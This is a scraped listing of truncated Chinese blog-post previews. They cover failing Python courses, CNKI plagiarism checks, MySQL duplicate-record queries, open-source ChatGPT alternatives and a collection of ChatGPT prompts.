Python课程为何成为大学生挂科的"罪魁祸首"&#xff1f; Python编程语言在今天的IT行业中已经成为了一种不可或缺的语言。事实上&#xff0c;Python已经成为了世界上最常用的编程语言之一&#xff0c;很多大学里也将Python编程语言作为教学课程的一部分。然而&#…

chatgpt赋能python:Python挂科了怎么办?

Python 挂科了怎么办&#xff1f; 如果你是一名学习 Python 编程语言的学生或者程序员&#xff0c;那么你可能会面临挂科的情况。虽然这是件令人沮丧的事情&#xff0c;但是你不必感到绝望。在这篇文章中&#xff0c;我们将介绍一些方法来帮助你重振旗鼓&#xff0c;重新学习并…

知网开放个人查重服务!

知网 转自&#xff1a;机器之心 不过&#xff0c;对于 2022 届的毕业生来说&#xff0c;知网的这一决定来得似乎晚了一点。 一年一度的毕业季要结束了&#xff0c;论文答辩也早已提上日程&#xff0c;在这之前你的论文查重了吗&#xff1f; 毕业论文是普通中等专业学校、高等专…

知网查重经验分享

22届电气专业毕业生&#xff0c;论文关于人脸识别方面的&#xff1b; 学校有两次免费查重机会&#xff0c;我们学校要求比较低&#xff0c;校内查重<50%&#xff0c;知网<30% 如果两次查重都不过就只能延毕......所以很珍惜这两次机会 我先用paperyy免费版查重&#x…

MySQL 查重

阅读目录 MySQL 数据单字段查询语句多个字段重复记录查询 MySQL 数据 CREATE TABLE test (Id int(11) NOT NULL AUTO_INCREMENT,title varchar(25) DEFAULT NULL COMMENT 标题,uid int(11) DEFAULT NULL COMMENT uid,money decimal(2,0) DEFAULT 0,name varchar(25) DEFAULT N…

优雅码住!ChatGPT的五大开源替代方案

自去年11月发布以来&#xff0c;ChatGPT吸引了全球各行业人士的注意力和想象力。人们将它用于各种任务和应用程序&#xff0c;而且它有可能改变流行的应用程序并创建新的应用程序。 但ChatGPT也引发了微软和谷歌等科技巨头之间的人工智能竞赛&#xff0c;使得该行业在大型语言模…

【AI热点技术】ChatGPT开源替代品——LLaMA系列之「羊驼家族」

ChatGPT开源替代品——LLaMA系列之「羊驼家族」 1. Alpaca2. Vicuna3. Koala4. ChatLLaMA5. FreedomGPT6. ColossalChat完整的 ChatGPT 克隆解决方案中英双语训练数据集完整的RLHF管线 相关链接 现在如果问什么最火&#xff0c;很多人第一反应肯定就是ChatGPT。的确&#xff0c…

【花雕学AI】超级提问模型大全!150个ChatGPT神奇示例,让你的聊天更有趣!

引言 你是否想要成为聊天高手&#xff0c;让你的对话更加有趣和深入&#xff1f;你是否想要掌握一些超级提问模型&#xff0c;让你的聊天更加有创意和挑战&#xff1f;你是否想要借助人工智能的力量&#xff0c;生成一些适合你的超级提问模型&#xff1f; 如果你的答案是肯定…